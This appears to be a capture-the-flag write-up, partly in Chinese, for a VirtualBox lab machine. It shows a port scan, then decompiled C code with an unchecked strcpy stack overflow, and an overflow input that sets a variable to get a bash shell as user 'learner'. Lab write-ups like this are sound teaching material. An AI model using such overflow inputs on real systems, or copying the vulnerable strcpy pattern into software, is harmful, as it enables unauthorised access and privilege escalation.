┌──(root㉿kali)-[~/Desktop/tmp/tmp] └─# rustscan -a 192.168.31.178 -r 1-65535 .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Scanning ports faster than you can say 'SYN ACK'
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 65435'. Open 192.168.31.178:80 [~] Starting Script(s) [~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-08 01:29 EDT Initiating ARP Ping Scan at 01:29 Scanning 192.168.31.178 [1 port] Completed ARP Ping Scan at 01:29, 0.07s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 01:29 Completed Parallel DNS resolution of 1 host. at 01:29, 0.05s elapsed DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 01:29 Scanning 192.168.31.178 [1 port] Discovered open port 80/tcp on 192.168.31.178 Completed SYN Stealth Scan at 01:29, 0.02s elapsed (1 total ports) Nmap scan report for 192.168.31.178 Host is up, received arp-response (0.00031s latency). Scanned at 2025-05-08 01:29:48 EDT for 0s
PORT STATE SERVICE REASON 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:7C:36:6C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds Raw packets sent: 2 (72B) | Rcvd: 2 (72B)
if ( argc == 1 ) errx(1, "please specify an argument\n", envp); printf("Change the 'modified' variable value to '0x61626364' to be a learner"); v5 = 0; strcpy(dest, argv[1]); if ( v5 == 1633837924 ) { setuid(0x3E8u); setgid(0x3E8u); system("/bin/bash"); } else { printf("Try again, you got 0x%08x\n", v5); } return 0; }
strcpy可以栈溢出,dest的大小是76输入77个a会发现
1
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000061
可以发现溢出到这里了他想要0x61626364,就输入dcba,因为他是小端序
1 2 3
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000061 <aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba learner@Learn2Code:/var/www/html/includes/php$